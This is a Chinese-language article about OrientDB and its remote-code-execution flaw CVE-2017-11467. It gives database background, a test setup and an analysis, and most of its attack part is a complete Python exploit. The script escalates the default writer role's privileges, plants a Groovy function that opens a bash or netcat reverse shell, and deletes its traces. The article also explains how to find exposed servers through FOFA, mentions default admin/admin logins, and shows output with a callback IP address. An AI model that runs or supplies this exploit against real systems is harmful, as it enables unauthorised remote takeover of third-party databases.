OrientDB遠(yuǎn)程代碼執(zhí)行漏洞利用與分析
原創(chuàng)【51CTO.com原創(chuàng)稿件】OrientDB數(shù)據(jù)庫是一個(gè)支持分布式的NoSQL數(shù)據(jù)庫,主要針對(duì)文檔以及圖形等進(jìn)行檢索,通過研究發(fā)現(xiàn)其默認(rèn)配置admin、reader和writer三個(gè)角色,在處理where”或“fetchplan”或“order by”函數(shù)時(shí),由于在OrientDB中有一個(gè)執(zhí)行g(shù)roovy函數(shù),groovy包裝類沒有沙箱,暴露了系統(tǒng)函數(shù),因此我們可以運(yùn)行我們想要的任何命令。該漏洞在國外被命名為CVE-2017-11467,本文主要對(duì)該漏洞的分析方法和實(shí)戰(zhàn)進(jìn)行探討。
0x01.OrientDB簡介
OrientDB是分布式兼具文檔數(shù)據(jù)庫的靈活性和圖形數(shù)據(jù)庫管理鏈接能力的可深層次擴(kuò)展的文檔-圖形數(shù)據(jù)庫管理系統(tǒng),也是可升級(jí),高性能的操作NoSQL數(shù)據(jù)庫。可選無模式、全模式或混合模式下。支持許多高級(jí)特性,諸如ACID事務(wù)、快速索引,原生和SQL查詢功能??梢訨SON格式導(dǎo)入、導(dǎo)出文檔。若不執(zhí)行昂貴的JOIN操作的話,如同關(guān)系數(shù)據(jù)庫可在幾毫秒內(nèi)可檢索數(shù)以百G的鏈接文檔圖,其最新版本為OrientDB v2.2.26。官方網(wǎng)站:http://orientdb.com和https://github.com/Orientechnologies。
圖1Orientdb
0x02. OrientDB基礎(chǔ)
2.1OrientDB的一些基本概念
Classes : 類比關(guān)系型數(shù)據(jù)庫系統(tǒng)中的Table與傳統(tǒng)文檔數(shù)據(jù)庫的collections。這個(gè)概念來自于OOP(Object-oriented programming)的理念。class用于定義數(shù)據(jù)結(jié)構(gòu)的模型。
Record:record是OrientDB中最小的加載和存儲(chǔ)的單位。record有四種類型:Document、RecordBytes(BLOB)、Vertex、Edge。
Document:是OrientDB中最靈活的record。Document支持schema-less,schemal-full,schema-mixed,即可以在定義數(shù)據(jù)結(jié)構(gòu)的時(shí)候指定屬性及約定條件,也可以不指定。它通過create class語法來定義一個(gè)數(shù)據(jù)結(jié)構(gòu)。
Vertex:在OrientDB的graph模型下,每個(gè)結(jié)點(diǎn)叫作Vertex,每個(gè)Vertex也是一個(gè)Document。
Edge:在OrientDB的graph模型下,連接兩個(gè)Vertex的邊叫作Edge。Edge是有向性的而且僅能連接兩個(gè)Vertex。
Clusters : 用于存儲(chǔ)record。每個(gè)數(shù)據(jù)庫最多有32767個(gè)cluster。每個(gè)class都必須至少有一個(gè)對(duì)應(yīng)的cluster。默認(rèn)情況下OrientDB會(huì)自動(dòng)為每個(gè)class創(chuàng)建與當(dāng)前cpu核數(shù)相同的cluster,其中有一個(gè)默認(rèn)的cluster。
Cluster Selection:當(dāng)新增加一條reocrd時(shí)OrientDB會(huì)根據(jù)cluster section為這條記錄選擇一個(gè)cluster。cluster section有四條類型:detault、round-robin、balanced、local。
Record ID :每個(gè)record都有一個(gè)record id。 record id的格式如下:
- #<cluster-id>:<cluster-position>。
Relationships: OrientDB中不使用join,它通過在每個(gè)reocrd中定義一個(gè)關(guān)系類型的屬性來維護(hù)關(guān)系。這個(gè)關(guān)系屬性存儲(chǔ)的實(shí)際是record id,就像定義一個(gè)指針在內(nèi)存中將兩個(gè)record聯(lián)系起來。
Inheritance & Polymorphic: OrientDB支持面向?qū)ο蟮睦^承和多態(tài)特性。
2.2OrientDB的特性
OrientDB是用Java語言實(shí)現(xiàn)的,運(yùn)行在JVM之上。
Multi-Model:OrientDB支持多種模型:Key/Value, Object, Document, and Graph。
Multi-Master Replication: OrientDB集群部署時(shí)每個(gè)點(diǎn)都是Master,每個(gè)Master上都有完整的數(shù)據(jù)。一旦一個(gè)Master上的數(shù)據(jù)發(fā)生變更,會(huì)將發(fā)生變更的數(shù)據(jù)同步通知其它Master。
Extended SQL : OrientDB支持大部分標(biāo)準(zhǔn)的SQL,同時(shí)在標(biāo)準(zhǔn)的SQL之上擴(kuò)展了部分功能以方便圖的操作。
Easy Integration :使用teleporter可以很容易地將數(shù)據(jù)從RDBMS遷移到OrientDB上。
OOP:OrientDB定義數(shù)據(jù)結(jié)構(gòu)的Class符合OOP(Object-oriented programming)的理念,支持繼承和多態(tài)的特性。
2.2OrientDB的SQL
在寫圖數(shù)據(jù)庫的SQL時(shí),第一步是要確認(rèn)起始點(diǎn)(這個(gè)也是圖數(shù)據(jù)庫比較耗時(shí)的地方),一旦起始點(diǎn)確認(rèn)后,我們便可以近乎物理連接的方式查詢這個(gè)起始點(diǎn)相關(guān)聯(lián)的數(shù)據(jù)。
基本的SQL:OrientDB支持大部分標(biāo)準(zhǔn)的SQL查詢。
例如:SELECT FROM Person WHERE name LIKE 'Luk%'
Traverse:traverse語法可以遍歷獲取一個(gè)record聯(lián)結(jié)的reocrd。它比select使用起來更簡單和快速。
例如:RAVERSE out("Friend") FROM #10:1234 WHILE $depth <= 3
Match:match是一種表述力很強(qiáng)的查詢語法結(jié)構(gòu),類比Neo4j的Cypher語法結(jié)構(gòu)。它以一種說明式的方式來查詢。
例如:
- MATCH {class: Person, as: person, where: (name = 'John' AND surname = 'Doe')}.both('Friend').both('Friend')
- {as: friendOfFriend} RETURN person, friendOfFriend
0x03. OrientDB漏洞 CVE-2017-11467分析
3.1搭建測(cè)試環(huán)境
(1)docker安裝,這個(gè)安裝的是最新版本,有可能修補(bǔ)了漏洞
- docker run -d --name orientdb -p 2424:2424 -p 2480:2480 -e ORIENTDB_ROOT_PASSWORD=root orientdb:latest
(2)linux下安裝orientdb
- wget -O orientdb-community-2.2.22.tar.gz http://orientdb.com/download.php?file=orientdb-community-2.2.22.tar.gz&os=linux
- tar -zxf orientdb-community-2.2.22.tar.gz
- mv orientdb-community-2.2.22 /opt/orientdb
- /opt/orientdb/bin/server.sh
- useradd -r orientdb -s /sbin/nologin
- chown -R orientdb:orientdb /opt/orientdb
- chmod 640 /opt/orientdb/config/orientdb-server-config.xml
- cp /opt/orientdb/bin/orientdb.service /etc/systemd/system
- vi /etc/systemd/system/orientdb.service
- 修改User=ORIENTDB_USER Group=ORIENTDB_GROUP ExecStart=$ORIENTDB_HOME/bin/server.sh為:
- User=orientdb Group=orientdb ExecStart=/opt/orientdb/bin/server.sh
- systemctl daemon-reload
- systemctl enable orientdb
- systemctl status orientdb
注意:
(1)如果是虛擬機(jī),則需要修改內(nèi)存大小,默認(rèn)64位是512G,修改為1G!需要修改/opt/orientdb/bin下的所有bat文件和sh文件。否則會(huì)報(bào)“Invalid maximum direct memory size: -XX:MaxDirectMemorySize=512g”錯(cuò)誤。
(2)設(shè)置路徑和用戶,在對(duì)應(yīng)的sh文件中設(shè)置
- ORIENTDB_DIR="/opt/orientdb/"
- ORIENTDB_USER="orientdb"
3.2漏洞分析
1.用戶權(quán)限
OrientDB使用RBAC模型進(jìn)行認(rèn)證方案。默認(rèn)情況下,OrientDB有3個(gè)角色:管理員(admin),作者(writer)和讀者(reader)。這些用戶名與角色相同。對(duì)于在服務(wù)器上創(chuàng)建的每個(gè)數(shù)據(jù)庫,默認(rèn)情況下分配這3個(gè)用戶。
用戶的權(quán)限是:
admin:訪問數(shù)據(jù)庫上的所有功能,沒有任何限制
reader:只讀用戶。讀者可以查詢數(shù)據(jù)庫中的任何記錄,但不能修改或刪除它們。它不能訪問內(nèi)部信息,例如用戶和角色本身。
writer:與“讀者”相同,但也可以創(chuàng)建,更新和刪除記錄
2.越權(quán)導(dǎo)致命令執(zhí)行
ORole結(jié)構(gòu)處理用戶及其角色,只能由管理員訪問。OrientDB需要oRole讀取權(quán)限來允許用戶顯示用戶的權(quán)限以及與oRole權(quán)限相關(guān)聯(lián)的其他查詢。但在版本2.2.x中,每當(dāng)上述oRole查詢包含where、fetchplan和ORDER BY語句,則不需要此權(quán)限的要求和信息,而返回給未經(jīng)授權(quán)的用戶從而導(dǎo)致命令執(zhí)行
例:
- select * from <em>oRole</em> order by name;
當(dāng)每個(gè)數(shù)據(jù)庫創(chuàng)建時(shí)會(huì)創(chuàng)建writer用戶,這樣,即使db管理員更改管理員用戶密碼,攻擊者仍然可以使用writer用戶獲取代碼執(zhí)行。由于我們啟用了where、fetchplan和ORDER BY函數(shù),在OrientDB中有一個(gè)執(zhí)行g(shù)roovy函數(shù),groovy包裝類沒有沙箱,暴露了系統(tǒng)函數(shù),因此我們可以運(yùn)行我們想要的任何命令。
示例Groovy函數(shù):
- Command.md
- def command = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 8081
- >/tmp/f'
- File file = new File("hello.sh")
- file.delete()
- file << ("#!/bin/bash\n")
- file << (command)
- def proc = "bash hello.sh".execute()
3.概念證明
(1)監(jiān)聽8081端口。
在8081端口運(yùn)行Netcat:nc -lv 8081
運(yùn)行以下命令:
- python PoC.py ip [port]
(2)poc.py
- import sys
- import requests
- import json
- import string
- import random
- target = sys.argv[1]
- try:
- port = sys.argv[2] if sys.argv[2] else 2480
- except:
- port = 2480
- url = "http://%s:%s/command/GratefulDeadConcerts/sql/-/20?format=rid,type,version,class,graph"%(target,port)
- def random_function_name(size=5, chars=string.ascii_lowercase + string.digits):
- return ''.join(random.choice(chars) for _ in range(size))
- def enum_databases(target,port="2480"):
- base_url = "http://%s:%s/listDatabases"%(target,port)
- req = requests.get(base_url)
- if req.status_code == 200:
- #print "[+] Database Enumeration successful"
- database = req.json()['databases']
- return database
- return False
- def check_version(target,port="2480"):
- base_url = "http://%s:%s/listDatabases"%(target,port)
- req = requests.get(base_url)
- if req.status_code == 200:
- headers = req.headers['server']
- #print headers
- if "2.2" in headers or "3." in headers:
- return True
- return False
- def run_queries(permission,db,content=""):
- databases = enum_databases(target)
- url = "http://%s:%s/command/%s/sql/-/20?format=rid,type,version,class,graph"%(target,port,databases[0])
- priv_enable = ["create","read","update","execute","delete"]
- #query = "GRANT create ON database.class.ouser TO writer"
- for priv in priv_enable:
- if permission == "GRANT":
- query = "GRANT %s ON %s TO writer"%(priv,db)
- else:
- query = "REVOKE %s ON %s FROM writer"%(priv,db)
- req = requests.post(url,data=query,auth=('writer','writer'))
- if req.status_code == 200:
- pass
- else:
- if priv == "execute":
- return True
- return False
- print "[+] %s"%(content)
- return True
- def priv_escalation(target,port="2480"):
- print "[+] Checking OrientDB Database version is greater than 2.2"
- if check_version(target,port):
- priv1 = run_queries("GRANT","database.class.ouser","Privilege Escalation done checking enabling operations on database.function")
- priv2 = run_queries("GRANT","database.function","Enabled functional operations on database.function")
- priv3 = run_queries("GRANT","database.systemclusters","Enabling access to system clusters")
- if priv1 and priv2 and priv3:
- return True
- return False
- def exploit(target,port="2480"):
- #query = '"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"most","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute(); ","parameters":null'
- #query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"ost","language":"groovy","code":"def command = 'whoami';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute(); ","parameters":None}
- func_name = random_function_name()
- print func_name
- databases = enum_databases(target)
- reverse_ip = raw_input('Enter the ip to connect back: ')
- query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/'+reverse_ip+'/8081 0>&1\';File file = new File(\\"hello.sh\\");file.delete();file << (\\"#!/bin/bash\\\\n\\");file << (command);def proc = \\"bash hello.sh\\".execute();","parameters":null}'
- #query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = \'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 8081 >/tmp/f\' \u000a File file = new File(\"hello.sh\")\u000a file.delete() \u000a file << (\"#!/bin/bash\")\u000a file << (command)\n def proc = \"bash hello.sh\".execute() ","parameters":null}'
- #query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"lllasd","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute();","parameters":None}
- req = requests.post("http://%s:%s/document/%s/-1:-1"%(target,port,databases[0]),data=query,auth=('writer','writer'))
- if req.status_code == 201:
- #print req.status_code
- #print req.json()
- func_id = req.json()['@rid'].strip("#")
- #print func_id
- print "[+] Exploitation successful, get ready for your shell.Executing %s"%(func_name)
- req = requests.post("http://%s:%s/function/%s/%s"%(target,port,databases[0],func_name),auth=('writer','writer'))
- #print req.status_code
- #print req.text
- if req.status_code == 200:
- print "[+] Open netcat at port 8081.."
- else:
- print "[+] Exploitation failed at last step, try running the script again."
- print req.status_code
- print req.text
- #print "[+] Deleting traces.."
- req = requests.delete("http://%s:%s/document/%s/%s"%(target,port,databases[0],func_id),auth=('writer','writer'))
- priv1 = run_queries("REVOKE","database.class.ouser","Cleaning Up..database.class.ouser")
- priv2 = run_queries("REVOKE","database.function","Cleaning Up..database.function")
- priv3 = run_queries("REVOKE","database.systemclusters","Cleaning Up..database.systemclusters")
- #print req.status_code
- #print req.text
- def main():
- target = sys.argv[1]
- #port = sys.argv[1] if sys.argv[1] else 2480
- try:
- port = sys.argv[2] if sys.argv[2] else 2480
- #print port
- except:
- port = 2480
- if priv_escalation(target,port):
- exploit(target,port)
- else:
- print "[+] Target not vulnerable"
- main()
0x04.歷史漏洞
- CVE-2017-11467(高危)
OrientDB通過2.2.22在“where”或“fetchplan”或“order by”使用期間不執(zhí)行特權(quán)要求,允許遠(yuǎn)程攻擊者通過精心制作的請(qǐng)求執(zhí)行任意操作系統(tǒng)命令。
- CVE-2015-2918
在2.0.1之前的2.0.15和2.1.x之前的OrientDB Server Community Edition中的Studio組件沒有適當(dāng)?shù)叵拗剖褂肍RAME元素,這使遠(yuǎn)程攻擊者更容易通過精心設(shè)計(jì)的網(wǎng)站進(jìn)行劫持攻擊。
- CVE-2015年-2913
server/network/protocol/http/OHttpSessionManager.java在OrientDB Server社區(qū)版的Studio組件2.0.15、2.1.x和2.1.1之前版本不正確地依賴于java.util.Random類來生成隨機(jī)Session ID值,這使遠(yuǎn)程攻擊者更容易通過確定此類中的PRNG的內(nèi)部狀態(tài)來預(yù)測(cè)值。
- CVE-2015-2912
在2.0.1之前的2.0.15和2.1.x之前的OrientDB Server Community Edition的Studio組件中的JSONP端點(diǎn)沒有適當(dāng)?shù)叵拗苹卣{(diào)值,這允許遠(yuǎn)程攻擊者通過精心設(shè)計(jì)的HTTP請(qǐng)求進(jìn)行跨站點(diǎn)請(qǐng)求偽造(CSRF)攻擊,并獲得敏感信息。
0x05.實(shí)戰(zhàn)CVE-2017-11467漏洞利用
1.安裝poc.py所需的組件
直接執(zhí)行python CVE-2017-11467.py 127.0.0.1后,出現(xiàn)錯(cuò)誤,如圖2所示,則表示需要requests組件的支持,可以到https://pypi.python.org/pypi/requests/#downloads下載requests-2.18.4.tar.gz,可參考下載地址:
解壓requests-2.18.4.tar.gz文件后,使用python setup.py install進(jìn)行安裝。
圖2需要安裝requests組件
2.尋找OrientDB
zoomeye目前在升級(jí),因此用https://fofa.sol來進(jìn)行搜索效果比較佳,關(guān)鍵詞“orientdb && port=2480”,對(duì)于2.2.X版本基本是通殺。獲取結(jié)果后,通過單擊鏈接來查看可否正常訪問。能夠正常訪問,登錄密碼一般都是admin/admin。
3.執(zhí)行命令
(1)檢測(cè)是否存在漏洞
例如python CVE-2017-11467.py 127.0.0.1后其結(jié)果:
- C:\Python27>python CVE-2017-11467.py 127.0.0.1
- [+] Checking OrientDB Database version is greater than 2.2
- [+] Privilege Escalation done checking enabling operations on database.function
- [+] Enabled functional operations on database.function
- [+] Enabling access to system clusters
- 8bd94
- Enter the ip to connect back: 59.***. ***.*** //輸入反彈的IP地址,注意前后無空格
- [+] Exploitation successful, get ready for your shell.Executing 8bd94
- [+] Exploitation failed at last step, try running the script again.
- 400
- {
- "errors": [
- {
- "code": 400,
- "reason": "Bad request",
- "content": "Error on evaluation of the script library. Error: org.codehaus
- .groovy.control.MultipleCompilationErrorsException: startup failed:\u000aScript1
- .groovy: 1: unexpected token: def @ line 1, column 1.\u000a def 8bd94() {\u000
- a ^\u000a\u000a1 error\u000a\u000aScript library was:\u000adef 8bd94() {\u000a
- def command = 'bash -i >& /dev/tcp/59.110.62.194/8081 0>&1';File file = new File
- (\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def
- proc = \"bash hello.sh\".execute();\u000a}\u000a\u000a\u000d\u000a\u0009DB name=
- \"hierarchies\""
- }
- ]
- }
- [+] Cleaning Up..database.class.ouser
- [+] Cleaning Up..database.function
- [+] Cleaning Up..database.systemclusters
(2)設(shè)置反彈的IP
如果檢測(cè)到目標(biāo)對(duì)象存在漏洞,則提示輸入一個(gè)反彈的IP地址,該IP地址事先需要進(jìn)行8081端口監(jiān)聽,如果命令執(zhí)行成功則獲取反彈的shell,執(zhí)行效果如圖3和圖4所示。
圖3命令執(zhí)行漏洞檢測(cè)
圖4獲取反彈的shell
注意:
(1)由于命令是針對(duì)linux,因此反彈IP前不能有空格,否則執(zhí)行不成功。
(2)反彈端口可以更改poc中的8081
(3)OrientDB數(shù)據(jù)庫密碼是加密的。例如獲取某數(shù)據(jù)庫配置文件中的數(shù)據(jù)庫用戶和密碼:
- <user resources="*" password="{PBKDF2WithHmacSHA256}3D2969BF5BF1E819C6358CEF534327A32D205928D77B6D47:56B6EE75711C3600BCB23011685F253EE3F645E1BFA70AB8:65536" name="root"/>
- <user resources="connect,server.listDatabases,server.dblist" password="{PBKDF2WithHmacSHA256}AD0DA873F5BEB2343257A07B51326BBAECF8A894F960328E:B183077FF32DD1F40F3031EF048F5D8169E7EB6FB3C09004:65536" name="guest"/>
【51CTO原創(chuàng)稿件,合作站點(diǎn)轉(zhuǎn)載請(qǐng)注明原文作者和出處為51CTO.com】